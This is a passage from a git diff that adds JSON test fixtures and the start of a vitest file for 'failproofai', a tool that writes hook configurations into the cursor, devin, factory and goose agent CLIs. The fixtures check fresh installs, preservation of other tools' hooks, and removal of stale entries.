"__failproofai_hook__": true + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "version": 1, + "hooks": { + "sessionStart": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook sessionStart --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "sessionEnd": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook sessionEnd --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "beforeSubmitPrompt": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook beforeSubmitPrompt --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "preToolUse": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook preToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "postToolUse": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook postToolUse --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "stop": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook stop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "subagentStop": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook subagentStop --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ], + "AnEventWeNoLongerInstall": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook sessionStart --cli cursor", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/devin-project.json b/__tests__/fixtures/config-templates/devin-project.json new file mode 100644 index 000000000..a9619b407 --- /dev/null +++ b/__tests__/fixtures/config-templates/devin-project.json @@ -0,0 +1,293 @@ +{ + "cli": "devin", + "scope": "project", + "binary": "/usr/bin/failproofai", + "empty": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PermissionRequest --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + }, + "foreign": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 60 + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PermissionRequest --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PermissionRequest --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/devin-user.json b/__tests__/fixtures/config-templates/devin-user.json new file mode 100644 index 000000000..dd7ef31d1 --- /dev/null +++ b/__tests__/fixtures/config-templates/devin-user.json @@ -0,0 +1,293 @@ +{ + "cli": "devin", + "scope": "user", + "binary": "/usr/bin/failproofai", + "empty": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionRequest --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + }, + "foreign": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 60 + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionRequest --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "PermissionRequest": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PermissionRequest --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli devin", + "timeout": 60, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/factory-project.json b/__tests__/fixtures/config-templates/factory-project.json new file mode 100644 index 000000000..7f7117fae --- /dev/null +++ b/__tests__/fixtures/config-templates/factory-project.json @@ -0,0 +1,365 @@ +{ + "cli": "factory", + "scope": "project", + "binary": "/usr/bin/failproofai", + "empty": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Notification --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SubagentStop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreCompact --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ] + }, + "foreign": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 30 + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Notification --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SubagentStop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreCompact --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Notification --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SubagentStop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreCompact --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ] + } +} diff --git a/__tests__/fixtures/config-templates/factory-user.json b/__tests__/fixtures/config-templates/factory-user.json new file mode 100644 index 000000000..590d6ac1c --- /dev/null +++ b/__tests__/fixtures/config-templates/factory-user.json @@ -0,0 +1,365 @@ +{ + "cli": "factory", + "scope": "user", + "binary": "/usr/bin/failproofai", + "empty": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Notification --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreCompact --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ] + }, + "foreign": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 30 + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Notification --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreCompact --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Notification": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Notification --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "Stop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook Stop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SubagentStop": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SubagentStop --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreCompact": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreCompact --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli factory", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ] + } +} diff --git a/__tests__/fixtures/config-templates/goose-project.json b/__tests__/fixtures/config-templates/goose-project.json new file mode 100644 index 000000000..95ab09e85 --- /dev/null +++ b/__tests__/fixtures/config-templates/goose-project.json @@ -0,0 +1,188 @@ +{ + "cli": "goose", + "scope": "project", + "binary": "/usr/bin/failproofai", + "empty": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli goose" + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit --cli goose" + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli goose" + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli goose" + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd --cli goose" + } + ] + } + ] + } + }, + "foreign": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli goose" + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing" + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit --cli goose" + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli goose" + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli goose" + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd --cli goose" + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli goose" + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook UserPromptSubmit --cli goose" + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli goose" + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli goose" + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionEnd --cli goose" + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook SessionStart --cli goose" + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/goose-user.json b/__tests__/fixtures/config-templates/goose-user.json new file mode 100644 index 000000000..cfd33ca0e --- /dev/null +++ b/__tests__/fixtures/config-templates/goose-user.json @@ -0,0 +1,188 @@ +{ + "cli": "goose", + "scope": "user", + "binary": "/usr/bin/failproofai", + "empty": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli goose" + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli goose" + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli goose" + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli goose" + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd --cli goose" + } + ] + } + ] + } + }, + "foreign": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli goose" + } + ] + }, + { + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing" + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli goose" + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli goose" + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli goose" + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd --cli goose" + } + ] + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "hooks": { + "SessionStart": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli goose" + } + ] + } + ], + "UserPromptSubmit": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook UserPromptSubmit --cli goose" + } + ] + } + ], + "PreToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli goose" + } + ] + } + ], + "PostToolUse": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli goose" + } + ] + } + ], + "SessionEnd": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionEnd --cli goose" + } + ] + } + ], + "AnEventWeNoLongerInstall": [ + { + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook SessionStart --cli goose" + } + ] + } + ] + } + } +} diff --git a/__tests__/hooks/config-render.test.ts b/__tests__/hooks/config-render.test.ts new file mode 100644 index 000000000..bc9b03261 --- /dev/null +++ b/__tests__/hooks/config-render.test.ts @@ -0,0 +1,182 @@ +// @vitest-environment node +/** + * The template engine, against what the eight hand-written writers produced. + * + * `__tests__/fixtures/config-templates/*.json` was captured from the previous + * implementation before any of it was touched, and it is the whole safety net: + * a refactor of the code that installs enforcement has to be provably + * behaviour-preserving, because the failure mode is a machine that looks + * installed and enforces nothing. + * + * Each fixture holds three scenarios, because rendering into an empty object + * only proves the entries are built right and says nothing about the merge — + * which is the part being consolidated: + * + * empty a fresh install + * foreign somebody else's hook, and their unrelated settings, must survive + * stale our entry on an event we no longer install + * + * The `stale` row is the one deliberate change, and it is asserted as a change + * rather than quietly accepted. See "the one thing that is different" below. + */ +import { describe, it, expect } from "vitest"; +import { readFileSync, readdirSync } from "node:fs"; +import { join } from "node:path"; +import { renderConfig, buildTemplateEntry } from "../../src/hooks/config-render"; +import { HOOK_TEMPLATES, validateTemplate, type HookTemplate } from "../../src/hooks/config-template"; +import { getIntegration } from "../../src/hooks/integrations"; +import type { HookScope, IntegrationType } from "../../src/hooks/types"; + +const DIR = join(__dirname, "..", "fixtures", "config-templates"); + +interface Fixture { + cli: IntegrationType; + scope: HookScope; + binary: string; + empty: Record; + foreign: Record; + stale: Record; +} + +const FIXTURES: Fixture[] = readdirSync(DIR) + .filter((f) => f.endsWith(".json")) + .sort() + .map((f) => JSON.parse(readFileSync(join(DIR, f), "utf8")) as Fixture); + +const render = (fx: Fixture, into: 